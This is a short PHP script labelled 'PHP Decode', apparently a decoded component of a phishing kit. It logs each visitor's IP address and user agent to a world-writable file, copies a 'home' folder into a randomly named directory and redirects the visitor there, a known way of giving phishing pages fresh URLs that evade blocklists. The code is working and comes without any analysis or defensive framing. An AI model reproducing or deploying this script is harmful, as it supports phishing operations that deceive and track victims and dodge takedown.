PHP Decode

<?php 
$iplogfile = 'visite.log'; 
$ipaddress = $_SERVER['REMOTE_ADDR']; 
$webpage = $_SERVER['SCRIPT_NAME']; 
$timestamp = date('m/d/Y h:i:s'); 
$browser = $_SERVER['HTTP_USER_AGENT']; 
$fp = fopen($iplogfile, 'a+'); 
chmod($iplogfile, 0777); 
fwrite($fp, '['.$timestamp.']: '.$ipaddress.' '.$browser. "
"); 
fclose($fp); 
$random = rand(0,1900000).$_SERVER['REMOTE_ADDR']; 
$dst		= substr(md5($random), 0, 6); 
	 
function recurse_copy($src, $dst) { 
 
	$dir = opendir($src); 
	$result = ($dir === false ? false : true); 
 
	if ($result !== false) { 
		$result = @mkdir($dst); 
 
		if ($result === true) { 
			while(false !== ( $file = readdir($dir)) ) {  
				if (( $file != '.' ) && ( $file != '..' ) && $result) {  
					if ( is_dir($src . '/' . $file) ) {  
						$result = recurse_copy($src . '/' . $file,$dst . '/' . $file);  
					} else {  
						$result = copy($src . '/' . $file,$dst . '/' . $file);  
					}  
				}  
			}  
			closedir($dir); 
		} 
	} 
 
	return $result; 
} 
 
$src="home"; 
recurse_copy( $src, $dst ); 
header("location:".$dst.""); 
exit; 
 
?>